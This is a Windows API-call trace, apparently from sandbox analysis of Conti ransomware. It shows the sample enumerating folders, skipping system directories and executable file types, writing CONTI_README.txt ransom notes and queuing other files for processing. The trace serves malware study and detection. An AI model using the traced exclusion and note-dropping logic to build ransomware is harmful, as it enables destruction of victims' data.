	[0093.437] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037") returned 26
	[0093.437] lstrlenW (lpString="eula.rtf") returned 8
	[0093.437] GetProcessHeap () returned 0x1720000
	[0093.437] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d738
	[0093.437] lstrcpyW (in: lpString1=0x173d738, lpString2="C:\\588bce7c90097ed212\\1037" | out: lpString1="C:\\588bce7c90097ed212\\1037") returned="C:\\588bce7c90097ed212\\1037"
	[0093.437] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1037", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1037\\") returned="C:\\588bce7c90097ed212\\1037\\"
	[0093.437] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1037\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned="C:\\588bce7c90097ed212\\1037\\eula.rtf"
	[0093.437] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c47c0) returned 1
	[0093.437] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0093.437] lstrcmpiW (lpString1="LocalizedData.xml", lpString2=".") returned 1
	[0093.437] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="..") returned 1
	[0093.437] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.437] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.437] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".exe") returned 0x0
	[0093.437] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".dll") returned 0x0
	[0093.437] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".lnk") returned 0x0
	[0093.437] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".sys") returned 0x0
	[0093.437] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.437] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.437] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037") returned 26
	[0093.437] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0093.438] GetProcessHeap () returned 0x1720000
	[0093.438] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c2a10
	[0093.438] lstrcpyW (in: lpString1=0x17c2a10, lpString2="C:\\588bce7c90097ed212\\1037" | out: lpString1="C:\\588bce7c90097ed212\\1037") returned="C:\\588bce7c90097ed212\\1037"
	[0093.438] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1037", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1037\\") returned="C:\\588bce7c90097ed212\\1037\\"
	[0093.438] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1037\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml"
	[0093.438] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c5328) returned 1
	[0093.438] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0093.438] lstrcmpiW (lpString1="SetupResources.dll", lpString2=".") returned 1
	[0093.438] lstrcmpiW (lpString1="SetupResources.dll", lpString2="..") returned 1
	[0093.438] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".CONTI") returned 0x0
	[0093.438] StrStrIW (lpFirst="SetupResources.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0093.438] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".exe") returned 0x0
	[0093.438] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".dll") returned=".dll"
	[0093.438] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0093.438] GetProcessHeap () returned 0x1720000
	[0093.438] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17346c0 | out: hHeap=0x1720000) returned 1
	[0093.438] FindClose (in: hFindFile=0x175e330 | out: hFindFile=0x175e330) returned 1
	[0093.438] GetProcessHeap () returned 0x1720000
	[0093.438] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x175e4f0 | out: hHeap=0x1720000) returned 1
	[0093.438] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="1038", cAlternateFileName="")) returned 1
	[0093.438] lstrcmpiW (lpString1="1038", lpString2=".") returned 1
	[0093.438] lstrcmpiW (lpString1="1038", lpString2="..") returned 1
	[0093.438] lstrcmpiW (lpString1="1038", lpString2="tmp") returned -1
	[0093.438] lstrcmpiW (lpString1="1038", lpString2="winnt") returned -1
	[0093.438] lstrcmpiW (lpString1="1038", lpString2="Application Data") returned -1
	[0093.438] lstrcmpiW (lpString1="1038", lpString2="AppData") returned -1
	[0093.438] lstrcmpiW (lpString1="1038", lpString2="temp") returned -1
	[0093.438] lstrcmpiW (lpString1="1038", lpString2="thumb") returned -1
	[0093.438] lstrcmpiW (lpString1="1038", lpString2="$Recycle.Bin") returned 1
	[0093.438] lstrcmpiW (lpString1="1038", lpString2="$RECYCLE.BIN") returned 1
	[0093.438] lstrcmpiW (lpString1="1038", lpString2="System Volume Information") returned -1
	[0093.438] lstrcmpiW (lpString1="1038", lpString2="Program Files") returned -1
	[0093.439] lstrcmpiW (lpString1="1038", lpString2="Program Files (x86)") returned -1
	[0093.439] lstrcmpiW (lpString1="1038", lpString2="Boot") returned -1
	[0093.439] lstrcmpiW (lpString1="1038", lpString2="Windows") returned -1
	[0093.439] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.439] lstrlenW (lpString="1038") returned 4
	[0093.439] GetProcessHeap () returned 0x1720000
	[0093.439] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x36) returned 0x175e4f0
	[0093.439] lstrcpyW (in: lpString1=0x175e4f0, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.439] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.439] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1038" | out: lpString1="C:\\588bce7c90097ed212\\1038") returned="C:\\588bce7c90097ed212\\1038"
	[0093.439] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038") returned 26
	[0093.439] GetProcessHeap () returned 0x1720000
	[0093.439] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3a) returned 0x1734558
	[0093.439] lstrcpyW (in: lpString1=0x1734558, lpString2="C:\\588bce7c90097ed212\\1038" | out: lpString1="C:\\588bce7c90097ed212\\1038") returned="C:\\588bce7c90097ed212\\1038"
	[0093.439] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1038", lpString2="\\*" | out: lpString1="C:\\588bce7c90097ed212\\1038\\*") returned="C:\\588bce7c90097ed212\\1038\\*"
	[0093.439] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038") returned 26
	[0093.439] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.439] GetProcessHeap () returned 0x1720000
	[0093.439] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x58) returned 0x17c2a78
	[0093.439] lstrcpyW (in: lpString1=0x17c2a78, lpString2="C:\\588bce7c90097ed212\\1038" | out: lpString1="C:\\588bce7c90097ed212\\1038") returned="C:\\588bce7c90097ed212\\1038"
	[0093.439] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1038", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1038\\") returned="C:\\588bce7c90097ed212\\1038\\"
	[0093.439] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1038\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\588bce7c90097ed212\\1038\\CONTI_README.txt") returned="C:\\588bce7c90097ed212\\1038\\CONTI_README.txt"
	[0093.439] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\CONTI_README.txt" (normalized: "c:\\588bce7c90097ed212\\1038\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0093.445] GetProcessHeap () returned 0x1720000
	[0093.445] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c2a78 | out: hHeap=0x1720000) returned 1
	[0093.445] WriteFile (in: hFile=0x33c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.446] CloseHandle (hObject=0x33c) returned 1
	[0093.446] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b8a7029, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x175e470
	[0093.446] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.446] FindNextFileW (in: hFindFile=0x175e470, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b8a7029, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.446] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.446] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.446] FindNextFileW (in: hFindFile=0x175e470, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b880dd5, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4b880dd5, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4b8a7029, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.446] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.446] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.446] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.446] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.446] FindNextFileW (in: hFindFile=0x175e470, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0093.446] lstrcmpiW (lpString1="eula.rtf", lpString2=".") returned 1
	[0093.446] lstrcmpiW (lpString1="eula.rtf", lpString2="..") returned 1
	[0093.446] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.446] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.446] StrStrIW (lpFirst="eula.rtf", lpSrch=".exe") returned 0x0
	[0093.446] StrStrIW (lpFirst="eula.rtf", lpSrch=".dll") returned 0x0
	[0093.446] StrStrIW (lpFirst="eula.rtf", lpSrch=".lnk") returned 0x0
	[0093.446] StrStrIW (lpFirst="eula.rtf", lpSrch=".sys") returned 0x0
	[0093.446] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.446] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.447] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038") returned 26
	[0093.447] lstrlenW (lpString="eula.rtf") returned 8
	[0093.447] GetProcessHeap () returned 0x1720000
	[0093.447] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d378
	[0093.447] lstrcpyW (in: lpString1=0x173d378, lpString2="C:\\588bce7c90097ed212\\1038" | out: lpString1="C:\\588bce7c90097ed212\\1038") returned="C:\\588bce7c90097ed212\\1038"
	[0093.447] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1038", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1038\\") returned="C:\\588bce7c90097ed212\\1038\\"
	[0093.447] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1038\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned="C:\\588bce7c90097ed212\\1038\\eula.rtf"
	[0093.447] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c57b8) returned 1
	[0093.447] FindNextFileW (in: hFindFile=0x175e470, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0093.447] lstrcmpiW (lpString1="LocalizedData.xml", lpString2=".") returned 1
	[0093.447] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="..") returned 1
	[0093.447] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.447] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.447] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".exe") returned 0x0
	[0093.447] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".dll") returned 0x0
	[0093.447] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".lnk") returned 0x0
	[0093.447] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".sys") returned 0x0
	[0093.447] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.447] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.447] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038") returned 26
	[0093.447] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0093.447] GetProcessHeap () returned 0x1720000
	[0093.447] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c7588
	[0093.447] lstrcpyW (in: lpString1=0x17c7588, lpString2="C:\\588bce7c90097ed212\\1038" | out: lpString1="C:\\588bce7c90097ed212\\1038") returned="C:\\588bce7c90097ed212\\1038"
	[0093.447] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1038", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1038\\") returned="C:\\588bce7c90097ed212\\1038\\"
	[0093.447] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1038\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml"
	[0093.447] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c5570) returned 1
	[0093.447] FindNextFileW (in: hFindFile=0x175e470, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0093.447] lstrcmpiW (lpString1="SetupResources.dll", lpString2=".") returned 1
	[0093.447] lstrcmpiW (lpString1="SetupResources.dll", lpString2="..") returned 1
	[0093.447] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".CONTI") returned 0x0
	[0093.447] StrStrIW (lpFirst="SetupResources.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0093.447] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".exe") returned 0x0
	[0093.448] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".dll") returned=".dll"
	[0093.448] FindNextFileW (in: hFindFile=0x175e470, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0093.448] GetProcessHeap () returned 0x1720000
	[0093.448] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734558 | out: hHeap=0x1720000) returned 1
	[0093.448] FindClose (in: hFindFile=0x175e470 | out: hFindFile=0x175e470) returned 1
	[0093.448] GetProcessHeap () returned 0x1720000
	[0093.448] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x175e4f0 | out: hHeap=0x1720000) returned 1
	[0093.448] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="1040", cAlternateFileName="")) returned 1
	[0093.448] lstrcmpiW (lpString1="1040", lpString2=".") returned 1
	[0093.448] lstrcmpiW (lpString1="1040", lpString2="..") returned 1
	[0093.448] lstrcmpiW (lpString1="1040", lpString2="tmp") returned -1
	[0093.448] lstrcmpiW (lpString1="1040", lpString2="winnt") returned -1
	[0093.448] lstrcmpiW (lpString1="1040", lpString2="Application Data") returned -1
	[0093.448] lstrcmpiW (lpString1="1040", lpString2="AppData") returned -1
	[0093.448] lstrcmpiW (lpString1="1040", lpString2="temp") returned -1
	[0093.448] lstrcmpiW (lpString1="1040", lpString2="thumb") returned -1
	[0093.448] lstrcmpiW (lpString1="1040", lpString2="$Recycle.Bin") returned 1
	[0093.448] lstrcmpiW (lpString1="1040", lpString2="$RECYCLE.BIN") returned 1
	[0093.448] lstrcmpiW (lpString1="1040", lpString2="System Volume Information") returned -1
	[0093.448] lstrcmpiW (lpString1="1040", lpString2="Program Files") returned -1
	[0093.448] lstrcmpiW (lpString1="1040", lpString2="Program Files (x86)") returned -1
	[0093.448] lstrcmpiW (lpString1="1040", lpString2="Boot") returned -1
	[0093.448] lstrcmpiW (lpString1="1040", lpString2="Windows") returned -1
	[0093.448] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.448] lstrlenW (lpString="1040") returned 4
	[0093.448] GetProcessHeap () returned 0x1720000
	[0093.448] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x36) returned 0x175e330
	[0093.448] lstrcpyW (in: lpString1=0x175e330, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.448] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.448] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1040" | out: lpString1="C:\\588bce7c90097ed212\\1040") returned="C:\\588bce7c90097ed212\\1040"
	[0093.448] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040") returned 26
	[0093.448] GetProcessHeap () returned 0x1720000
	[0093.448] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3a) returned 0x1734558
	[0093.449] lstrcpyW (in: lpString1=0x1734558, lpString2="C:\\588bce7c90097ed212\\1040" | out: lpString1="C:\\588bce7c90097ed212\\1040") returned="C:\\588bce7c90097ed212\\1040"
	[0093.449] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1040", lpString2="\\*" | out: lpString1="C:\\588bce7c90097ed212\\1040\\*") returned="C:\\588bce7c90097ed212\\1040\\*"
	[0093.449] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040") returned 26
	[0093.449] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.449] GetProcessHeap () returned 0x1720000
	[0093.449] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x58) returned 0x17c2a78
	[0093.449] lstrcpyW (in: lpString1=0x17c2a78, lpString2="C:\\588bce7c90097ed212\\1040" | out: lpString1="C:\\588bce7c90097ed212\\1040") returned="C:\\588bce7c90097ed212\\1040"
	[0093.449] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1040", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1040\\") returned="C:\\588bce7c90097ed212\\1040\\"
	[0093.449] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1040\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\588bce7c90097ed212\\1040\\CONTI_README.txt") returned="C:\\588bce7c90097ed212\\1040\\CONTI_README.txt"
	[0093.449] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\CONTI_README.txt" (normalized: "c:\\588bce7c90097ed212\\1040\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0093.456] GetProcessHeap () returned 0x1720000
	[0093.456] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c2a78 | out: hHeap=0x1720000) returned 1
	[0093.456] WriteFile (in: hFile=0x334, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.457] CloseHandle (hObject=0x334) returned 1
	[0093.457] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b8a7029, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x175e630
	[0093.457] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.457] FindNextFileW (in: hFindFile=0x175e630, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b8a7029, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.457] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.457] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.457] FindNextFileW (in: hFindFile=0x175e630, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b8a7029, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4b8a7029, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4b8cd2cd, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.457] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.457] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.457] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.457] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
